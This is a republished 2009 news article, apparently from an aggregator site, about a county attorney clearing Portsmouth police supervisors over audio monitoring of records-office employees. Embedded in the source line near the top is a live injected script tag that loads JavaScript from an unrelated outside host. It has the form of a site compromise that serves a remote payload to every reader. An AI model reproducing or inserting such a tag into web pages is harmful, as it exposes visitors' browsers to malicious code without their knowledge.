NEWS > 17 July 2009

Article sourced from

Portsmouth Police Department,<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Foster's Daily Democrat - Dove
17 July 2009

This article appeared in the above title/site.
To view it in its entirity click this link.

Portsmouth Police Department,

Portsmouth police supervisors

Rockingham County Attorney Jim Reams says Portsmouth police supervisors did not violate the law when they installed an audio recording system in the department's records office that allowed them to monitor the conversations of civilian employees for more than four months.

A June 8 letter from Reams to Police Chief Michael Magnant indicates the county attorney's office did not find sufficient evidence to bring criminal charges against any police employee responsible for installing a microphone device that at least one police department employee complained about upon learning they were being recorded.

Magnant said Thursday the recording system is no longer in use.

The chief noted in a written statement that the audio recording device � which allowed a supervisor to monitor conversations from their computers in other parts of the police headquarters � was "outdated and not in concert with how we do business."

He said the department has changed policies to prevent such concerns in the future.

Ream's office looked into the matter after Magnant asked it to review a Portsmouth Police Department internal investigation that found no fault on the part of the police employees who installed the device, which Ream's report suggests was put in place to "protect employees wrongfully accused of rudeness and/or document inappropriate conduct by employees with the public."

The county attorney's review of the matter has him stating that employees were "technically" not noticed properly of the recordings, but he notes the state's "wiretapping statute" would require his office to prove those who installed it did so with a criminal intent.

Reams said evidence in the matter indicates those Portsmouth Police employees responsible for installing the device did so thinking it was lawful and with no such criminal intent.

An audio recording system was installed in November of 2008 in the records office to monitor the interactions with the public by civilian employees working in the department, according to Reams' letter.

The county attorney noted the move to install the system came after there had been citizen complaints about records office employees.

The version of Reams' report released to Foster's Daily Democrat omits the names of the police employees recorded and the supervisors responsible for the installation and monitoring of the system.

The report indicates the audio system involved microphones that were installed on both sides of the window where the public is served by employees in the records office. It indicates a "voice activated" system allowed digital recordings of the voices in the office to be reviewed in "real time" on computers in supervisors' offices, thus allowing them to monitor conversations.

Reams' letter to Magnant suggests the system was not "covertly installed," but was done so openly and after discussions in meetings by the department technology staff and ranking officers.

The report indicates the microphones could be seen by employees, but Reams said "until recently" the employees were unaware their conversations could be monitored in "real-time." Reams said a sign was placed on the public side of the window informing them their conversations were subject to recording.

"No similar notice was posted on the employee side of the window. Therefore, the system raises the question of whether the employees consented to the recordings of their side of the conversations," wrote Reams.

An employee complained to the administration about the recording device in March, prompting an internal investigation that resulted in the department finding no misconduct on the part of any employee.

The county attorney said the conversations could be monitored in "real time," but notes the program did not allow a supervisor to do anything with the recording other than to listen to them.

The county attorney's query into the situation shows that a supervising employee only logged into the recording program on 10 occasions "at most" between November of 2008 and February of 2009 with half of those log-ins coming in November when the system was first installed.

It states that a third supervisor appeared unaware of the recording in the records office and "immediately took steps to rectify any potential problems."

Reams said the review showed no basis for his office to pursue charges.

"Technically the recordings on the employee side were made without proper notice to the employees, although the existence of the recording system was known. The employees would typically be assumed to consent to the recordings, if there was a notice posted and there was no protest by the employees," Reams stated.

Reams goes on to write in his letter to Magnant that the recording appear to have been made in a "good faith belief that the recording system was lawful and would serve the public good by insuring that interactions of employees with the public were professional."

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Foster's Daily Democrat - Dove17 July 2009

Portsmouth police supervisors

EiP Comments:

Foster's Daily Democrat - Dove
17 July 2009